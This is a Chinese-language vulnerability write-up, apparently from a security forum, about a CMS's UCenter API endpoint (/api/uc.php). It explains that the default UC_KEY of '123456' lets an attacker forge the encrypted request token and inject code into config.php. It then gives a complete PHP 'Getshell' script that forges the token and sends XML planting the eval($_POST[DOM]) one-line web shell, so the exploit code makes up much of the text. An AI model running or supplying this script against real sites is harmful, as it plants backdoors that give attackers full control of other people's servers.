这个洞挖了很久了官方几次更新都没修复问题。问题出现在/api/uc.php上
43-48行
$code = @$_GET['code'];
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if(MAGIC_QUOTES_GPC) {
$get = _stripslashes($get);
}变量code从get中获取后经过_authcode函数解密成字符串 赋值到变量中,如果GPC开启则stripslashes取消转义
我们再来看函数_authcode
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result)); //看到这就有很多小伙伴都能很清楚了我们只要知道UC_KEY的值 OK!那么就会CMS就会出现问题而程序默认安装的UC_KEY 为123456,_authcode算法自行加密,那么所有请求几乎无视GPC。又回到/api/uc.php
239-260行
function updateapps($get, $post) {
if(!API_UPDATEAPPS) {
return API_RETURN_FORBIDDEN;
}
$UC_API = $post['UC_API'];
//note 写 app 缓存文件
$cachefile = $this->appdir.'./api/uc_client/data/cache/apps.php';
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";
fwrite($fp, $s);
fclose($fp);
//note 写配置文件
if(is_writeable($this->appdir.'api/config.php')) {
$configfile = trim(file_get_contents($this->appdir.'api/config.php'));
$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile); //修复漏洞 --駿濤
if($fp = @fopen($this->appdir.'api/config.php', 'w')) {
@fwrite($fp, trim($configfile));
@fclose($fp)又看到这一句
$configfile = preg_replace(“/define\(‘UC_API’,\s*’.*?’\);/i”, “define(‘UC_API’, ‘”.addslashes($UC_API).”‘);”, $configfile); //修复漏洞 –駿濤
这里虽然有addslashes,但是我们写入的eval($_POST[DOM]);一句话脚本是不需要 单引号和单撇号的,所以无视函数,随意写入一句话代码
我们开启UC在/api/config.php
define(‘UC_SYNC’, 1); 设为1就为开启
Getshell
<?php
// 代码版权归原作者所有!
$timestamp = time()+10*3600;
$host="localhost";
$uc_key="123456";
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://localhost/ucenter\');eval($_POST[DOM]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">http://localhost/ucenter</item>
</root>';
$html1 = send($cmd1);
echo $html1;
$html2 = send($cmd2);
echo $html2;
function send($cmd){
global $host,$code;
$message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>